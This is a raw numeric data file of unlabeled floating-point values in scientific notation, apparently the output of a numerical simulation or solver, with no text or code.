-4.72991e-08
-3.95456e-08
2.00691e-05
2.11289e-05
1.14835e-08
2.11203e-05
-3.32118e-08
2.11102e-05
-1.88866e-08
2.11017e-05
-6.00267e-08
2.10971e-05
-4.32847e-08
2.10964e-05
-9.4831e-08
2.10952e-05
-8.71899e-08
2.1088e-05
-1.2375e-07
2.1077e-05
-1.30613e-07
2.1066e-05
-1.51848e-07
2.10562e-05
-1.41311e-07
2.10495e-05
-1.36011e-07
2.10456e-05
-1.11246e-07
2.10417e-05
-9.91454e-08
2.10373e-05
-8.5273e-08
2.10339e-05
-7.9958e-08
2.10324e-05
-6.88758e-08
2.10326e-05
-5.94829e-08
2.10334e-05
-4.80436e-08
-4.07236e-08
2.10345e-05
2.21392e-05
1.27289e-08
2.21312e-05
-2.51478e-08
2.21221e-05
-9.78733e-09
2.21146e-05
-5.25752e-08
2.21094e-05
-3.80664e-08
2.21066e-05
-9.20796e-08
2.21049e-05
-8.54834e-08
2.20989e-05
-1.17673e-07
2.20887e-05
-1.20433e-07
2.2078e-05
-1.41138e-07
2.20686e-05
-1.31924e-07
2.20615e-05
-1.28919e-07
2.20575e-05
-1.07255e-07
2.20543e-05
-9.58928e-08
2.20507e-05
-8.17307e-08
2.20473e-05
-7.65033e-08
2.20453e-05
-6.68694e-08
2.20449e-05
-5.91552e-08
2.20454e-05
-4.85643e-08
-4.13828e-08
2.20461e-05
2.31978e-05
1.37404e-08
2.31905e-05
-1.78055e-08
2.31823e-05
-1.56015e-09
2.31757e-05
-4.59978e-08
2.31704e-05
-3.28238e-08
2.3166e-05
-8.7651e-08
2.31634e-05
-8.28274e-08
2.3158e-05
-1.12354e-07
2.31489e-05
-1.11278e-07
2.31385e-05
-1.30808e-07
2.31295e-05
-1.22866e-07
2.31223e-05
-1.21727e-07
2.31179e-05
-1.02883e-07
2.31148e-05
-9.27771e-08
2.31119e-05
-7.88395e-08
2.31088e-05
-7.3415e-08
2.31064e-05
-6.44505e-08
2.31055e-05
-5.82819e-08
2.31058e-05
-4.8845e-08
-4.16812e-08
2.31061e-05
2.4307e-05
1.45558e-08
2.43005e-05
-1.12841e-08
2.42931e-05
5.80089e-09
2.42872e-05
-4.00748e-08
2.42823e-05
-2.79156e-08
2.42767e-05
-8.20775e-08
2.42728e-05
-7.8984e-08
2.42679e-05
-1.0738e-07
2.42598e-05
-1.03165e-07
2.425e-05
-1.21006e-07
2.42412e-05
-1.14117e-07
2.42339e-05
-1.14419e-07
2.42292e-05
-9.82085e-08
2.4226e-05
-8.95614e-08
2.42232e-05
-7.60482e-08
2.42207e-05
-7.0906e-08
2.42182e-05
-6.19315e-08
2.42167e-05
-5.67687e-08
2.42166e-05
-4.88166e-08
-4.17484e-08
2.42167e-05
2.54691e-05
1.52009e-08
2.54635e-05
-5.70479e-09
2.5457e-05
1.23012e-08
2.54515e-05
-3.45753e-08
2.54471e-05
-2.35211e-08
2.54409e-05
-7.58454e-08
2.5436e-05
-7.40889e-08
2.54308e-05
-1.02204e-07
2.54236e-05
-9.59693e-08
2.54145e-05
-1.11832e-07
2.5406e-05
-1.0565e-07
2.53988e-05
-1.07184e-07
2.53936e-05
-9.30574e-08
2.53903e-05
-8.62971e-08
2.53874e-05
-7.30987e-08
2.5385e-05
-6.84862e-08
2.53829e-05
-5.98671e-08
2.53808e-05
-5.4699e-08
2.53804e-05
-4.8362e-08
-4.15817e-08
2.53802e-05
2.66868e-05
1.56826e-08
2.66822e-05
-1.09578e-09
2.66766e-05
1.7872e-08
2.66714e-05
-2.93476e-08
2.66675e-05
-1.96249e-08
2.6661e-05
-6.93584e-08
2.66554e-05
-6.84943e-08
2.66497e-05
-9.64931e-08
2.6643e-05
-8.92894e-08
2.66345e-05
-1.03352e-07
2.66262e-05
-9.73776e-08
2.66192e-05
-1.00099e-07
2.66136e-05
-8.74813e-08
2.66101e-05
-8.277e-08
2.66073e-05
-7.02958e-08
2.66044e-05
-6.56361e-08
2.66028e-05
-5.82886e-08
2.66007e-05
-5.25253e-08
2.65996e-05
-4.73515e-08
-4.12822e-08
2.65993e-05
2.79627e-05
1.59805e-08
2.79589e-05
2.68252e-09
2.79544e-05
2.23572e-08
2.79495e-05
-2.44141e-08
2.7946e-05
-1.61137e-08
2.79394e-05
-6.28181e-08
2.79334e-05
-6.24791e-08
2.79271e-05
-9.02203e-08
2.79206e-05
-8.27836e-08
2.79128e-05
-9.5512e-08
2.79047e-05
-8.92593e-08
2.78976e-05
-9.29988e-08
2.78918e-05
-8.17534e-08
2.78876e-05
-7.85257e-08
2.78851e-05
-6.77796e-08
2.78819e-05
-6.24945e-08
2.78802e-05
-5.65168e-08
2.78784e-05
-5.07737e-08
2.78769e-05
-4.5837e-08
-4.09923e-08
2.78766e-05
2.92996e-05
1.6047e-08
2.92967e-05
5.60684e-09
2.92932e-05
2.57704e-08
2.92886e-05
-1.97338e-08
2.92854e-05
-1.29391e-08
2.92791e-05
-5.64846e-08
2.92727e-05
-5.61694e-08
2.92659e-05
-8.33647e-08
2.92593e-05
-7.61444e-08
2.92519e-05
-8.81566e-08
2.9244e-05
-8.13566e-08
2.92368e-05
-8.58348e-08
2.9231e-05
-7.59252e-08
2.92261e-05
-7.36029e-08
2.92233e-05
-6.50203e-08
2.92204e-05
-5.95311e-08
2.92179e-05
-5.40862e-08
2.92165e-05
-4.93607e-08
2.92147e-05
-4.4039e-08
-4.04569e-08
2.92142e-05
3.07004e-05
1.58964e-08
3.06982e-05
7.81626e-09
3.06959e-05
2.80089e-08
3.06917e-05
-1.54863e-08
3.06887e-05
-9.90618e-09
3.06826e-05
-5.04449e-08
3.06763e-05
-4.982e-08
3.06689e-05
-7.60117e-08
3.06619e-05
-6.91451e-08
3.06546e-05
-8.08719e-08
3.06469e-05
-7.36178e-08
3.06396e-05
-7.8523e-08
3.06337e-05
-7.00599e-08
3.06285e-05
-6.83868e-08
3.0625e-05
-6.15698e-08
3.06224e-05
-5.69136e-08
3.06197e-05
-5.13238e-08
3.06182e-05
-4.78587e-08
3.06166e-05
-4.24381e-08
-3.93652e-08
3.06155e-05
3.21682e-05
1.5509e-08
3.21667e-05
9.23828e-09
3.21654e-05
2.93111e-08
3.21619e-05
-1.1956e-08
3.2159e-05
-7.00208e-09
3.21533e-05
-4.47304e-08
3.2147e-05
-4.35098e-08
3.21392e-05
-6.82313e-08
3.21317e-05
-6.16162e-08
3.21242e-05
-7.34274e-08
3.21163e-05
-6.56771e-08
3.21087e-05
-7.09106e-08
3.21025e-05
-6.38616e-08
3.20971e-05
-6.30585e-08
3.2093e-05
-5.74079e-08
3.20903e-05
-5.42729e-08
3.20879e-05
-4.88511e-08
3.20862e-05
-4.62066e-08
3.20852e-05
-4.14518e-08
-3.83032e-08
3.20842e-05
3.37061e-05
1.4905e-08
3.37053e-05
9.95581e-09
3.37049e-05
2.97197e-08
3.37021e-05
-9.11922e-09
3.36995e-05
-4.40962e-09
3.36942e-05
-3.9394e-08
3.3688e-05
-3.73676e-08
3.36801e-05
-6.02787e-08
3.36719e-05
-5.34773e-08
3.36638e-05
-6.5325e-08
3.36556e-05
-5.74921e-08
3.36475e-05
-6.27912e-08
3.36406e-05
-5.69654e-08
3.36348e-05
-5.72008e-08
3.363e-05
-5.26273e-08
3.36268e-05
-5.104e-08
3.36245e-05
-4.6601e-08
3.36227e-05
-4.44447e-08
3.36221e-05
-4.08016e-08
-3.79338e-08
3.36217e-05
3.53175e-05
1.40346e-08
3.53175e-05
9.9259e-09
3.53183e-05
2.89167e-08
3.53162e-05
-6.94696e-09
3.53137e-05
-1.93727e-09
3.53085e-05
-3.41836e-08
3.53025e-05
-3.13647e-08
3.52946e-05
-5.23704e-08
3.52861e-05
-4.49513e-08
3.52771e-05
-5.64056e-08
3.52683e-05
-4.86771e-08
3.52592e-05
-5.36836e-08
3.52513e-05
-4.90491e-08
3.52447e-05
-5.0625e-08
3.52394e-05
-4.73444e-08
3.52355e-05
-4.71408e-08
3.52329e-05
-4.40119e-08
3.5231e-05
-4.25011e-08
3.52301e-05
-3.98786e-08
-3.8328e-08
3.52305e-05
3.70059e-05
1.30321e-08
3.70075e-05
8.28842e-09
3.70086e-05
2.78251e-08
3.70073e-05
-5.6195e-09
3.7005e-05
2.81846e-10
3.70001e-05
-2.92881e-08
3.69941e-05
-2.52799e-08
3.69859e-05
-4.41719e-08
3.69775e-05
-3.65857e-08
3.69685e-05
-4.73906e-08
3.69583e-05
-3.85411e-08
3.69484e-05
-4.37686e-08
3.69387e-05
-3.92766e-08
3.6931e-05
-4.2945e-08
3.69252e-05
-4.15294e-08
3.69211e-05
-4.31121e-08
3.69176e-05
-4.05072e-08
3.69153e-05
-4.01505e-08
3.69145e-05
-3.90882e-08
-3.8401e-08
3.69146e-05
3.87755e-05
1.12855e-08
3.87774e-05
6.38663e-09
3.878e-05
2.52657e-08
3.87786e-05
-4.24999e-09
3.87781e-05
7.29832e-10
3.87733e-05
-2.44094e-08
3.8768e-05
-1.99802e-08
3.87585e-05
-3.46863e-08
3.87482e-05
-2.63355e-08
3.87362e-05
-3.53964e-08
3.87238e-05
-2.60729e-08
3.87114e-05
-3.14337e-08
3.87009e-05
-2.87087e-08
3.86908e-05
-3.29212e-08
3.86843e-05
-3.50128e-08
3.86796e-05
-3.84092e-08
3.86785e-05
-3.94252e-08
3.86799e-05
-4.15524e-08
3.86832e-05
-4.23214e-08
-4.32042e-08
3.8688e-05
4.06288e-05
9.70778e-09
4.0629e-05
6.18454e-09
4.0633e-05
2.12959e-08
4.06334e-05
-4.67117e-09
4.06319e-05
2.19382e-09
4.06286e-05
-2.10799e-08
4.06253e-05
-1.66887e-08
4.06234e-05
-3.27738e-08
4.06249e-05
-2.77993e-08
4.0632e-05
-4.2491e-08
4.06431e-05
-3.72435e-08
4.06552e-05
-4.35562e-08
4.0668e-05
-4.14565e-08
4.06763e-05
-4.12022e-08
4.06782e-05
-3.69572e-08
4.06761e-05
-3.63297e-08
4.06705e-05
-3.37418e-08
4.06617e-05
-3.27661e-08
4.06492e-05
-2.98296e-08
-2.8214e-08
4.06342e-05
4.25724e-05
6.62296e-09
4.25772e-05
1.37335e-09
4.25819e-05
1.65923e-08
4.25818e-05
-4.63294e-09
4.25817e-05
2.3656e-09
4.25758e-05
-1.52056e-08
4.25694e-05
-1.03163e-08
4.25602e-05
-2.34999e-08
4.25486e-05
-1.6243e-08
4.2533e-05
-2.68786e-08
4.25174e-05
-2.16864e-08
4.24998e-05
-2.59511e-08
4.24846e-05
-2.62342e-08
4.24718e-05
-2.84263e-08
4.2462e-05
-2.70988e-08
4.2458e-05
-3.23267e-08
4.24574e-05
-3.3128e-08
4.2461e-05
-3.63801e-08
4.24676e-05
-3.64586e-08
-3.7759e-08
4.24771e-05
4.46068e-05
3.99537e-09
4.46107e-05
-2.54567e-09
4.46208e-05
6.47759e-09
4.46322e-05
-1.59456e-08
4.46464e-05
-1.18822e-08
4.4662e-05
-3.07758e-08
4.4675e-05
-2.33742e-08
4.46819e-05
-3.03966e-08
4.46835e-05
-1.77847e-08
4.46788e-05
-2.21905e-08
4.46724e-05
-1.53253e-08
4.46659e-05
-1.94011e-08
4.46589e-05
-1.92878e-08
4.46548e-05
-2.42815e-08
4.4651e-05
-2.33208e-08
4.4646e-05
-2.73702e-08
4.46398e-05
-2.69274e-08
4.46308e-05
-2.72872e-08
4.4621e-05
-2.66658e-08
-2.68859e-08
4.46101e-05
4.67389e-05
4.67391e-05
4.67425e-05
4.67427e-05
4.67459e-05
4.67475e-05
4.67525e-05
4.67598e-05
4.6767e-05
4.67718e-05
4.67759e-05
4.67776e-05
4.67764e-05
4.67745e-05
4.67726e-05
4.67695e-05
4.67666e-05
4.6764e-05
4.67613e-05
4.67576e-05
8.69881e-07
2.91959e-07
6.12995e-07
2.56886e-07
4.34063e-07
1.78932e-07
3.27107e-07
1.06956e-07
2.7586e-07
5.12471e-08
2.4743e-07
2.84304e-08
2.26014e-07
2.14158e-08
2.07966e-07
1.80479e-08
1.92558e-07
1.54086e-08
1.79047e-07
1.35111e-08
1.67041e-07
1.20056e-08
1.56893e-07
1.01476e-08
1.48437e-07
8.45668e-09
1.40972e-07
7.46456e-09
1.34328e-07
6.64429e-09
1.28685e-07
5.64268e-09
1.2377e-07
4.91507e-09
1.19148e-07
4.62241e-09
1.14797e-07
4.35058e-09
1.10962e-07
3.83543e-09
1.07688e-07
3.27338e-09
1.04745e-07
2.9434e-09
1.01873e-07
2.87215e-09
9.89947e-08
2.87797e-09
9.62735e-08
2.72116e-09
9.39345e-08
2.33902e-09
9.18889e-08
2.0456e-09
8.98179e-08
2.071e-09
8.7707e-08
2.11092e-09
8.57857e-08
1.92129e-09
8.41421e-08
1.64356e-09
8.25253e-08
1.6168e-09
8.08504e-08
1.6749e-09
7.93983e-08
1.45211e-09
7.82238e-08
1.17448e-09
7.69878e-08
1.23599e-09
7.56863e-08
1.30152e-09
7.4593e-08
1.09331e-09
7.36213e-08
9.71704e-10
7.25586e-08
1.06273e-09
7.14699e-08
1.0887e-09
7.04864e-08
9.83466e-10
6.95051e-08
9.81311e-10
6.84925e-08
1.01257e-09
6.75148e-08
9.77742e-10
6.65876e-08
9.27207e-10
6.56565e-08
9.31119e-10
6.47489e-08
9.07582e-10
6.39278e-08
8.21106e-10
6.3153e-08
7.74737e-10
6.23275e-08
8.25581e-10
6.14604e-08
8.67048e-10
6.06241e-08
8.36355e-10
5.98492e-08
7.74851e-10
5.90463e-08
8.02938e-10
5.82323e-08
8.13977e-10
5.749e-08
7.42317e-10
5.67233e-08
7.66643e-10
5.59921e-08
7.31267e-10
5.52585e-08
7.33602e-10
5.45219e-08
7.3657e-10
5.38106e-08
7.11255e-10
5.31944e-08
6.16199e-10
5.25927e-08
6.01701e-10
5.1826e-08
7.66725e-10
5.0981e-08
8.45043e-10
5.03031e-08
6.77832e-10
4.97462e-08
5.56946e-10
4.91406e-08
6.05596e-10
4.85879e-08
5.52739e-10
4.79841e-08
6.03796e-10
4.73355e-08
6.48585e-10
4.67577e-08
5.7782e-10
4.62263e-08
5.31371e-10
4.56884e-08
5.37914e-10
4.51666e-08
5.21807e-10
4.46545e-08
5.12055e-10
4.4143e-08
5.11484e-10
4.36098e-08
5.33182e-10
4.31381e-08
4.71705e-10
4.26695e-08
4.68621e-10
4.21328e-08
5.36723e-10
4.16187e-08
5.14109e-10
4.11522e-08
4.66474e-10
4.06709e-08
4.81271e-10
4.02539e-08
4.17081e-10
3.97787e-08
4.75121e-10
3.93178e-08
4.60912e-10
3.88116e-08
5.06233e-10
3.83623e-08
4.49287e-10
3.79076e-08
4.54653e-10
3.75139e-08
3.93702e-10
3.71384e-08
3.75531e-10
3.67066e-08
4.31865e-10
3.6304e-08
4.02514e-10
3.58969e-08
4.07139e-10
3.56699e-08
2.26997e-10
3.51482e-08
5.21742e-10
3.47526e-08
3.95518e-10
1.14691e-09
1.22372e-06
3.38369e-07
1.11835e-06
3.62252e-07
1.02115e-06
2.76134e-07
9.32448e-07
1.95659e-07
8.57283e-07
1.26412e-07
7.88897e-07
9.68167e-08
7.24337e-07
8.59759e-08
6.66222e-07
7.61629e-08
6.15741e-07
6.5889e-08
5.71917e-07
5.73348e-08
5.34071e-07
4.9852e-08
5.01689e-07
4.25296e-08
4.73475e-07
3.66709e-08
4.4844e-07
3.24994e-08
4.26556e-07
2.85281e-08
4.07764e-07
2.44347e-08
3.91299e-07
2.13796e-08
3.76458e-07
1.94642e-08
3.63087e-07
1.7721e-08
3.51284e-07
1.56392e-08
3.40853e-07
1.3704e-08
3.31195e-07
1.26015e-08
3.21808e-07
1.22592e-08
3.12762e-07
1.19234e-08
3.04429e-07
1.10541e-08
2.96894e-07
9.87451e-09
2.89775e-07
9.16498e-09
2.8279e-07
9.05591e-09
2.76205e-07
8.69602e-09
2.70297e-07
7.82851e-09
2.64914e-07
7.02715e-09
2.59656e-07
6.87458e-09
2.54598e-07
6.73311e-09
2.50103e-07
5.9473e-09
2.46038e-07
5.23923e-09
2.41959e-07
5.31474e-09
2.38012e-07
5.24901e-09
2.34495e-07
4.61007e-09
2.31166e-07
4.30088e-09
2.27775e-07
4.45317e-09
2.24449e-07
4.4146e-09
2.213e-07
4.13257e-09
2.18166e-07
4.11509e-09
2.15047e-07
4.13227e-09
2.12017e-07
4.00788e-09
2.09068e-07
3.87602e-09
2.06148e-07
3.8511e-09
2.0334e-07
3.71553e-09
2.00692e-07
3.46909e-09
1.98095e-07
3.37181e-09
1.95425e-07
3.49523e-09
1.92749e-07
3.54335e-09
1.90169e-07
3.41621e-09
1.8768e-07
3.26358e-09
1.85147e-07
3.33572e-09
1.82643e-07
3.31855e-09
1.80252e-07
3.13276e-09
1.77845e-07
3.17372e-09
1.7551e-07
3.06703e-09
1.73169e-07
3.07454e-09
1.70861e-07
3.04428e-09
1.6864e-07
2.93214e-09
1.66545e-07
2.71163e-09
1.64391e-07
2.75532e-09
1.62004e-07
3.15391e-09
1.59622e-07
3.22681e-09
1.57554e-07
2.74581e-09
1.55654e-07
2.45705e-09
1.53694e-07
2.56558e-09
1.51814e-07
2.43237e-09
1.49846e-07
2.57265e-09
1.4788e-07
2.61414e-09
1.46059e-07
2.39915e-09
1.44324e-07
2.26596e-09
1.42597e-07
2.26522e-09
1.40915e-07
2.20312e-09
1.39257e-07
2.17014e-09
1.37621e-07
2.14748e-09
1.35978e-07
2.17603e-09
1.34445e-07
2.00532e-09
1.32884e-07
2.02933e-09
1.3125e-07
2.17122e-09
1.29679e-07
2.08511e-09
1.28182e-07
1.96322e-09
1.26675e-07
1.98837e-09
1.25269e-07
1.82294e-09
1.23751e-07
1.99286e-09
1.22279e-07
1.93356e-09
1.20735e-07
2.04988e-09
1.19314e-07
1.87044e-09
1.17891e-07
1.87714e-09
1.16596e-07
1.68848e-09
1.15298e-07
1.67385e-09
1.13955e-07
1.77465e-09
1.12647e-07
1.71046e-09
1.11483e-07
1.57159e-09
1.10573e-07
1.1368e-09
1.09211e-07
1.88419e-09
1.08509e-07
1.09699e-09
3.09959e-09
1.36292e-06
3.40636e-07
1.31871e-06
4.06459e-07
1.28504e-06
3.09804e-07
1.25601e-06
2.24691e-07
1.22601e-06
1.5641e-07
1.18907e-06
1.33752e-07
1.14135e-06
1.33701e-07
1.08704e-06
1.30473e-07
1.03131e-06
1.21621e-07
9.76485e-07
1.12157e-07
9.24608e-07
1.01729e-07
8.76848e-07
9.02888e-08
8.32397e-07
8.11227e-08
7.90847e-07
7.40491e-08
7.53059e-07
6.63166e-08
7.1947e-07
5.80235e-08
6.89526e-07
5.13234e-08
6.62752e-07
4.62385e-08
6.39007e-07
4.14656e-08
6.1824e-07
3.64062e-08
6.00118e-07
3.1826e-08
5.83652e-07
2.90669e-08
5.67843e-07
2.80682e-08
5.52656e-07
2.71113e-08
5.38538e-07
2.51717e-08
5.25364e-07
2.30487e-08
5.12505e-07
2.2024e-08
4.99922e-07
2.16384e-08
4.88304e-07
2.03146e-08
4.77905e-07
1.82271e-08
4.68243e-07
1.66891e-08
4.58892e-07
1.62253e-08
4.50102e-07
1.55236e-08
4.4214e-07
1.39087e-08
4.34671e-07
1.27085e-08
4.27317e-07
1.26692e-08
4.20338e-07
1.22276e-08
4.13962e-07
1.09866e-08
4.07891e-07
1.03719e-08
4.01922e-07
1.04213e-08
3.96164e-07
1.01732e-08
3.90654e-07
9.64247e-09
3.85221e-07
9.54852e-09
3.79873e-07
9.48023e-09
3.74637e-07
9.24376e-09
3.69472e-07
9.04044e-09
3.64367e-07
8.95592e-09
3.5946e-07
8.62306e-09
3.54768e-07
8.16099e-09
3.50141e-07
7.99919e-09
3.45474e-07
8.16219e-09
3.40878e-07
8.1389e-09
3.36433e-07
7.86145e-09
3.32085e-07
7.6113e-09
3.277e-07
7.72115e-09
3.23374e-07
7.644e-09
3.19174e-07
7.33349e-09
3.14973e-07
7.37461e-09
3.10845e-07
7.1952e-09
3.06712e-07
7.2075e-09
3.02647e-07
7.10909e-09
2.9872e-07
6.85875e-09
2.94922e-07
6.50928e-09
2.91039e-07
6.63838e-09
2.86931e-07
7.2619e-09
2.82898e-07
7.26032e-09
2.79236e-07
6.40807e-09
2.75764e-07
5.92916e-09
2.72243e-07
6.08572e-09
2.68818e-07
5.85795e-09
2.65313e-07
6.07789e-09
2.61868e-07
6.05828e-09
2.58609e-07
5.65883e-09
2.55472e-07
5.40245e-09
2.52372e-07
5.3659e-09
2.49357e-07
5.2182e-09
2.46389e-07
5.13776e-09
2.4348e-07
5.0563e-09
2.4059e-07
5.06651e-09
2.3784e-07
4.75448e-09
2.35059e-07
4.81079e-09
2.32231e-07
4.99925e-09
2.29483e-07
4.8328e-09
2.26833e-07
4.61343e-09
2.24172e-07
4.64934e-09
2.21627e-07
4.3684e-09
2.18954e-07
4.66603e-09
2.16347e-07
4.53968e-09
2.13662e-07
4.73492e-09
2.11138e-07
4.395e-09
2.08612e-07
4.40248e-09
2.06261e-07
4.04003e-09
2.03879e-07
4.05589e-09
2.0151e-07
4.14365e-09
1.99146e-07
4.07435e-09
1.97094e-07
3.62383e-09
1.95281e-07
2.94903e-09
1.92979e-07
4.18695e-09
1.92006e-07
2.0697e-09
5.4054e-09
1.43889e-06
3.35136e-07
1.41097e-06
4.34381e-07
1.39541e-06
3.25363e-07
1.39415e-06
2.25953e-07
1.39717e-06
1.53392e-07
1.39666e-06
1.34258e-07
1.3845e-06
1.45858e-07
1.36028e-06
1.54691e-07
1.32793e-06
1.5398e-07
1.28991e-06
1.50168e-07
1.24906e-06
1.42585e-07
1.2081e-06
1.31249e-07
1.16693e-06
1.22295e-07
1.1246e-06
1.16371e-07
1.08184e-06
1.0908e-07
1.03994e-06
9.99211e-08
9.99706e-07
9.1561e-08
9.62086e-07
8.38579e-08
9.28016e-07
7.55361e-08
8.98026e-07
6.63965e-08
8.72208e-07
5.76434e-08
8.49689e-07
5.15863e-08
8.29002e-07
4.87548e-08
8.09507e-07
4.66062e-08
7.91273e-07
4.34061e-08
7.73798e-07
4.05242e-08
7.56049e-07
3.97728e-08
7.38081e-07
3.9606e-08
7.21175e-07
3.72211e-08
7.05957e-07
3.34442e-08
6.91808e-07
3.08385e-08
6.78235e-07
2.97988e-08
6.65625e-07
2.8133e-08
6.54128e-07
2.54057e-08
6.43128e-07
2.37086e-08
6.32283e-07
2.35145e-08
6.21986e-07
2.25246e-08
6.12406e-07
2.0566e-08
6.03246e-07
1.95319e-08
5.94425e-07
1.92423e-08
5.86065e-07
1.85336e-08
5.78119e-07
1.75888e-08
5.70386e-07
1.72807e-08
5.6286e-07
1.70065e-08
5.55473e-07
1.66308e-08
5.48105e-07
1.64082e-08
5.40764e-07
1.62972e-08
5.33662e-07
1.57251e-08
5.26825e-07
1.49983e-08
5.2008e-07
1.47444e-08
5.13352e-07
1.48902e-08
5.06804e-07
1.46863e-08
5.00481e-07
1.41849e-08
4.9427e-07
1.38217e-08
4.88036e-07
1.39557e-08
4.81884e-07
1.37959e-08
4.75843e-07
1.33741e-08
4.69796e-07
1.34221e-08
4.63787e-07
1.32038e-08
4.57743e-07
1.32516e-08
4.51781e-07
1.30711e-08
4.46012e-07
1.26275e-08
4.40398e-07
1.21233e-08
4.34693e-07
1.23432e-08
4.28775e-07
1.31806e-08
4.22966e-07
1.3069e-08
4.17543e-07
1.18314e-08
4.1232e-07
1.11519e-08
4.07067e-07
1.13386e-08
4.0192e-07
1.10047e-08
3.96703e-07
1.1295e-08
3.91597e-07
1.11646e-08
3.86699e-07
1.05566e-08
3.81957e-07
1.0145e-08
3.77286e-07
1.00366e-08
3.72754e-07
9.75017e-09
3.68304e-07
9.58762e-09
3.63963e-07
9.39753e-09
3.59676e-07
9.35321e-09
3.55579e-07
8.85176e-09
3.51463e-07
8.9266e-09
3.47335e-07
9.1276e-09
3.43298e-07
8.86909e-09
3.39389e-07
8.52324e-09
3.35467e-07
8.57145e-09
3.31675e-07
8.16008e-09
3.27743e-07
8.59835e-09
3.23895e-07
8.38698e-09
3.19953e-07
8.67672e-09
3.16201e-07
8.14706e-09
3.12438e-07
8.16546e-09
3.08895e-07
7.58348e-09
3.05281e-07
7.66935e-09
3.01755e-07
7.67029e-09
2.98173e-07
7.65664e-09
2.9505e-07
6.74607e-09
2.92151e-07
5.84867e-09
2.88699e-07
7.63818e-09
2.87208e-07
3.56091e-09
8.17295e-09
1.51047e-06
3.31955e-07
1.48479e-06
4.60069e-07
1.46704e-06
3.43112e-07
1.46788e-06
2.25109e-07
1.47988e-06
1.41394e-07
1.49608e-06
1.18062e-07
1.50677e-06
1.35168e-07
1.50752e-06
1.53934e-07
1.49982e-06
1.61686e-07
1.48483e-06
1.65156e-07
1.46396e-06
1.63452e-07
1.44028e-06
1.54927e-07
1.4154e-06
1.47182e-07
1.3883e-06
1.43468e-07
1.35752e-06
1.39862e-07
1.32246e-06
1.34975e-07
1.28362e-06
1.30409e-07
1.243e-06
1.24476e-07
1.20328e-06
1.15253e-07
1.16659e-06
1.03084e-07
1.13428e-06
8.99612e-08
1.10651e-06
7.93516e-08
1.08244e-06
7.28259e-08
1.06131e-06
6.77387e-08
1.04257e-06
6.21406e-08
1.02487e-06
5.82221e-08
1.00611e-06
5.85367e-08
9.8559e-07
6.01263e-08
9.64786e-07
5.80247e-08
9.45187e-07
5.30432e-08
9.26801e-07
4.92253e-08
9.09368e-07
4.72312e-08
8.93414e-07
4.40869e-08
8.79002e-07
3.98184e-08
8.6516e-07
3.75503e-08
8.51384e-07
3.72902e-08
8.38109e-07
3.57999e-08
8.25445e-07
3.32297e-08
8.13101e-07
3.18763e-08
8.01203e-07
3.11404e-08
7.9005e-07
2.96864e-08
7.79618e-07
2.80208e-08
7.69701e-07
2.71975e-08
7.60266e-07
2.64415e-08
7.5112e-07
2.57773e-08
7.41971e-07
2.55571e-08
7.32726e-07
2.55423e-08
7.23624e-07
2.48264e-08
7.14746e-07
2.38763e-08
7.05951e-07
2.35394e-08
6.97215e-07
2.36267e-08
6.88787e-07
2.31141e-08
6.80706e-07
2.22665e-08
6.72798e-07
2.17294e-08
6.64912e-07
2.18417e-08
6.57146e-07
2.15617e-08
6.4947e-07
2.10501e-08
6.41759e-07
2.1133e-08
6.34006e-07
2.09572e-08
6.26117e-07
2.11401e-08
6.18249e-07
2.09399e-08
6.10594e-07
2.0282e-08
6.03138e-07
1.95793e-08
5.95612e-07
1.98689e-08
5.87894e-07
2.0899e-08
5.80305e-07
2.06581e-08
5.73073e-07
1.9063e-08
5.66017e-07
1.8208e-08
5.58937e-07
1.84182e-08
5.51961e-07
1.79813e-08
5.44906e-07
1.83497e-08
5.37995e-07
1.8076e-08
5.31297e-07
1.72547e-08
5.24768e-07
1.66734e-08
5.18338e-07
1.64666e-08
5.12103e-07
1.5985e-08
5.05991e-07
1.56998e-08
5.00051e-07
1.53378e-08
4.9422e-07
1.51845e-08
4.8865e-07
1.44214e-08
4.83098e-07
1.44789e-08
4.77577e-07
1.4648e-08
4.72164e-07
1.42828e-08
4.66919e-07
1.37677e-08
4.61671e-07
1.38194e-08
4.56572e-07
1.32588e-08
4.51316e-07
1.3855e-08
4.4615e-07
1.35532e-08
4.40861e-07
1.39649e-08
4.35786e-07
1.32229e-08
4.30679e-07
1.32725e-08
4.2584e-07
1.24218e-08
4.20867e-07
1.26425e-08
4.16063e-07
1.24742e-08
4.1111e-07
1.26097e-08
4.06741e-07
1.11154e-08
4.02588e-07
1.00011e-08
3.97783e-07
1.24434e-08
3.95402e-07
5.94175e-09
1.16509e-08
1.58081e-06
3.32403e-07
1.55644e-06
4.8444e-07
1.53478e-06
3.64778e-07
1.53054e-06
2.29342e-07
1.54008e-06
1.31859e-07
1.55882e-06
9.93183e-08
1.57793e-06
1.16059e-07
1.59115e-06
1.40713e-07
1.5983e-06
1.54539e-07
1.59973e-06
1.63729e-07
1.59501e-06
1.68168e-07
1.58599e-06
1.63948e-07
1.57583e-06
1.57344e-07
1.56555e-06
1.53744e-07
1.55303e-06
1.52384e-07
1.5349e-06
1.53107e-07
1.50888e-06
1.56424e-07
1.47557e-06
1.57791e-07
1.43802e-06
1.52805e-07
1.40003e-06
1.41074e-07
1.36461e-06
1.25374e-07
1.33324e-06
1.10721e-07
1.30629e-06
9.97752e-08
1.2841e-06
8.99288e-08
1.26678e-06
7.94643e-08
1.25286e-06
7.21431e-08
1.23889e-06
7.25096e-08
1.22197e-06
7.70437e-08
1.20201e-06
7.79875e-08
1.18065e-06
7.44034e-08
1.15921e-06
7.06627e-08
1.13864e-06
6.77985e-08
1.12011e-06
6.26206e-08
1.10387e-06
5.60589e-08
1.08868e-06
5.27347e-08
1.07364e-06
5.23295e-08
1.05894e-06
5.0498e-08
1.04447e-06
4.77026e-08
1.02975e-06
4.65957e-08
1.01505e-06
4.58475e-08
1.00103e-06
4.37051e-08
9.87986e-07
4.10616e-08
9.75899e-07
3.92841e-08
9.64822e-07
3.75189e-08
9.54511e-07
3.60887e-08
9.4446e-07
3.56078e-08
9.34267e-07
3.57355e-08
9.23963e-07
3.51298e-08
9.13602e-07
3.42371e-08
9.03128e-07
3.40143e-08
8.92623e-07
3.4131e-08
8.82501e-07
3.32364e-08
8.72885e-07
3.18826e-08
8.63579e-07
3.10355e-08
8.54414e-07
3.10064e-08
8.45475e-07
3.05007e-08
8.36654e-07
2.98713e-08
8.27808e-07
2.9979e-08
8.18833e-07
2.99318e-08
8.09548e-07
3.04249e-08
8.00064e-07
3.04245e-08
7.90655e-07
2.96907e-08
7.81425e-07
2.88093e-08
7.72172e-07
2.91218e-08
7.6281e-07
3.02614e-08
7.53645e-07
2.98228e-08
7.4479e-07
2.79181e-08
7.36011e-07
2.69875e-08
7.27159e-07
2.72695e-08
7.18375e-07
2.67655e-08
7.09481e-07
